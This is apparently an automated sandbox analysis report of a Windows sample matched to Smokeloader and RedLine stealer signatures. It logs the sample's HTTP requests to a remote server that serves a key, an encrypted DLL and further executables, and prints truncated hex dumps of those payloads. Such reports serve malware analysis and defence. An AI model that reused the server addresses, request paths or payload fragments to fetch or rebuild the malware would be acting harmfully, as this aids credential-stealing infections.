Dec 10, 2024 04:49:47.485816956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.485883951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.485944033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.486038923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.486671925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.486720085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.486789942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.486895084 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.487514973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.487571955 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.487637997 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.487688065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.488354921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.488476038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.488550901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.489173889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.489248037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:50.527559996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:50.527684927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:50:10.765677929 CET	49730	80	192.168.2.4	80.82.65.70

HTTP Request Dependency Graph

80.82.65.70

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	80.82.65.70	80	7568	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 04:49:11.952402115 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:13.310352087 CET	204	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:12 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:13.320532084 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:13.793663025 CET	224	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:13 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 10, 2024 04:49:13.811275005 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:14.372942924 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:14 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 10, 2024 04:49:14.372987986 CET	224	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(ucc
Dec 10, 2024 04:49:14.372997999 CET	1236	IN	Data Raw: f9 ad 67 76 17 ac ab 0b db 40 d6 4d bb cd 29 6e a5 f1 4c c0 34 97 4f a7 0e ef fc 69 77 78 64 69 c1 97 d8 e5 76 6d 29 51 42 65 a8 c4 f5 a2 34 c7 ba 35 61 41 aa 57 a4 b7 cf 8b 03 c3 a3 26 de 8a 41 ec 05 e5 7f c7 58 21 a7 f2 0c 7b c0 5b 44 1a 6d 43 Data Ascii: gv@M)nL4Oiwxdivm)QBe45aAW&AX!{[DmC(^_iPUrl9L"?2Z,+V:R&!HJqa&uv5"+o%P4@.vgAY#i?_$J8sQ^I#sn`G}HC
Dec 10, 2024 04:49:14.373101950 CET	1236	IN	Data Raw: b8 96 c1 6b 69 27 5c ee c7 f9 89 a8 9e 4c 34 d5 75 9d fe 61 ca 18 4d 6f 0d 99 bc 16 23 4a 4b fb 31 9f 78 59 bb 31 c6 42 c1 b8 db d8 d2 09 84 0e 37 cd 9f 81 56 19 9f 47 ef 83 60 3c 07 f7 1b 6f 60 ce ba f3 16 fe 3c 27 3e b4 51 bc dc c3 26 bf 0f df Data Ascii: ki'\L4uaMo#JK1xY1B7VG`<o`<'>Q&Md42R32zD4:6vaG3~}safF4d\|a.V6.qz$C'^Y'=C]YA'6mo@{# }YniEVoD"8*k;
Dec 10, 2024 04:49:14.373114109 CET	1236	IN	Data Raw: 9b 84 b6 11 05 74 f4 6a 29 ea 95 12 3e 4e c6 5d 07 8a 8c 6e 0a 29 df c0 d0 dc 61 4a f2 87 c7 57 b7 17 8a ec 0d 94 4d 28 cc 70 af e6 39 a5 16 63 ea 3d 97 af a2 e0 b5 f0 4d db 26 a7 ce 90 e4 a4 5d c2 5d 0e 75 5a 74 b9 53 4e 57 3f b4 a7 76 c9 b2 72 Data Ascii: tj)>N]n)aJWM(p9c=M&]]uZtSNW?vr>o+X<T<RvNdl:b=l{bK)06(]LiR(:'hbJ5}V78t4L7xqmFJ-rBCk1^u^Xe@bZ@%
Dec 10, 2024 04:49:14.373125076 CET	1236	IN	Data Raw: 6c 07 1d c8 11 25 f2 1f 74 2d 83 1a ee 39 18 27 11 d8 19 a1 b5 bf 10 bd df 8b f4 fe 95 f6 97 67 5c 9b d1 1d 4d d2 1e e3 96 dc 44 87 9c e7 63 6c 14 6e 5a 9a 91 48 6d 6f 1d 74 74 9b 44 bc c1 38 4d d4 a2 a2 0b 5a 13 86 e8 70 1a 44 98 8f 4a ec 16 e7 Data Ascii: l%t-9'g\MDclnZHmottD8MZpDJ$ERJW'\VQMf.5gs6YQK-<2s{BSP\|@M;l%&\~LIOk{1X4/bMMMw /c)F1{FsI`Fa7^2z
Dec 10, 2024 04:49:14.373136997 CET	1236	IN	Data Raw: 87 4f 71 16 19 15 74 8a 5d 94 75 71 70 33 47 55 40 a1 28 f5 9d 11 8f 53 54 aa 32 97 a6 82 4d 0a 7f f4 8a 19 fb b8 68 d8 17 29 99 bc 3f 01 74 b8 67 78 d2 9b 58 8d f7 c6 05 43 3e cb ad f6 e4 57 f7 44 ea f7 c4 0d 07 6c ed 64 b8 d5 da d9 11 d4 c2 75 Data Ascii: Oqt]uqp3GU@(ST2Mh)?tgxXC>WDlduYc$<?`JM/XQBfWR1c<(+6EiWKH\'Wgru.g:TujQ[yo?tI4D}.@bA{2&9CFF:/
Dec 10, 2024 04:49:14.373302937 CET	1236	IN	Data Raw: 4f 89 d0 a6 d5 9b 38 95 6d ce ac 7f 28 70 87 18 0a 88 43 98 2f 21 03 f5 95 2b 8f 58 26 bc e2 ba 36 ef 73 60 b0 4a 91 87 9a 76 f9 dd 97 f3 2d 39 20 06 b6 b8 d6 7c 86 df 39 79 f0 24 c6 25 d3 27 0d f4 6c 63 13 16 78 70 b6 ba 06 47 c3 9d 8b 00 a2 3c Data Ascii: O8m(pC/!+X&6s`Jv-9 \|9y$%'lcxpG<$r<BUw~3_5.dJ>Exz+Rm0c=dD43Hz?VH4]dE2!&UaXM>o,c7&FXWyU(>\eyQ~UKV'
Dec 10, 2024 04:49:14.381319046 CET	1236	IN	Data Raw: 66 ad fb 03 47 37 00 49 94 d1 6b 1b e3 45 db 1c 6c f9 12 9d 86 80 23 90 3d 4a 64 cc df 07 f1 72 8d 3b 29 87 ab 5c ef b1 dd 98 62 83 3f f8 cd 00 6b 6b 64 78 2d b9 a7 80 e3 3c bf 10 ff 6c b7 4f 00 f3 21 0a 32 1a 96 9a 06 4e e1 19 59 21 d4 d2 dd 93 Data Ascii: fG7IkEl#=Jdr;)\b?kkdx-<lO!2NY!8hiq[Awyw:uw%}i=M"[$aizLVtx6/Nj+:S>w\|5-U3IW;'Hq8h OwFNRO
Dec 10, 2024 04:49:14.381426096 CET	1236	IN	Data Raw: 53 5a df 46 14 bd 26 3d 1f ff 51 74 60 c7 a7 64 e0 5e 75 73 42 dd 14 35 1a 33 e6 d1 88 e3 19 a0 6d 13 bf 33 3e 67 5c b7 91 eb 00 52 18 45 6d 67 f5 c7 ff 65 c2 5d 7f e2 94 a1 b7 50 ea 9e 80 78 f5 b2 6f 90 66 bf 9b 80 0c 58 e6 8f 12 fb 64 22 83 ab Data Ascii: SZF&=Qt`d^usB53m3>g\REmge]PxofXd"JP, XU@po5a^$RFB7z .z7Pb0'E,;rQ>$*HzJ9i8eBGRC-n;5Jcp-^ix:ML
Dec 10, 2024 04:49:14.389683962 CET	1236	IN	Data Raw: d7 44 b5 a5 9c 74 d6 46 fb 12 58 5b 61 b2 87 2f bc 5b 0e 14 b3 ba 6d d4 fb c1 5b be 43 4b 60 3c ea 73 25 01 ea 88 49 06 43 fa 7a fb b1 aa 20 54 41 79 85 96 5e 7d ae 60 c5 64 98 99 ae b2 19 01 0a 6a 17 5b ac 80 61 39 3e d2 ea a7 41 44 b1 b6 f2 88 Data Ascii: DtFX[a/[m[CK`<s%ICz TAy^}`dj[a9>AD&MoU$]Q,VSvD(}ZGn90IfZORKdMaKdD&a"eSL t#M}$Qg%R&Qfm-ggL9G"864)
Dec 10, 2024 04:49:14.882129908 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:15.363975048 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:15 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:17.378513098 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:17.862099886 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:17 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:19.879528999 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:20.366354942 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:20 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:22.378442049 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:22.862648964 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:22 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:24.878407955 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:25.361615896 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:25 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:27.378602028 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:27.869908094 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:27 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:29.878552914 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:30.360241890 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:30 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:32.378767014 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:32.866416931 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:32 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:34.878743887 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:35.364687920 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:35 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:37.424587965 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:37.908860922 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:37 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:39.941855907 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:40.426146984 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:40 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 04:49:43.472301960 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:44.110517979 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:43 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 10, 2024 04:49:44.562427044 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 04:49:45.287019014 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 03:49:44 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-a

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 7568, Parent PID: 2580

General

Target ID:	0
Start time:	22:48:54
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'990'144 bytes
MD5 hash:	054B1E771A301C1E792397A683ED0A90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2403918298.0000000000EEC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 7264, Parent PID: 7568

General

Target ID:	6
Start time:	22:49:47
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7568 -s 576
Imagebase:	0x910000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 7568, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	10.6%
Signature Coverage:	57%
Total number of Nodes:	2000
Total number of Limit Nodes:	23

Executed Functions

Function 00403D20 Relevance: 56.1, APIs: 25, Strings: 6, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

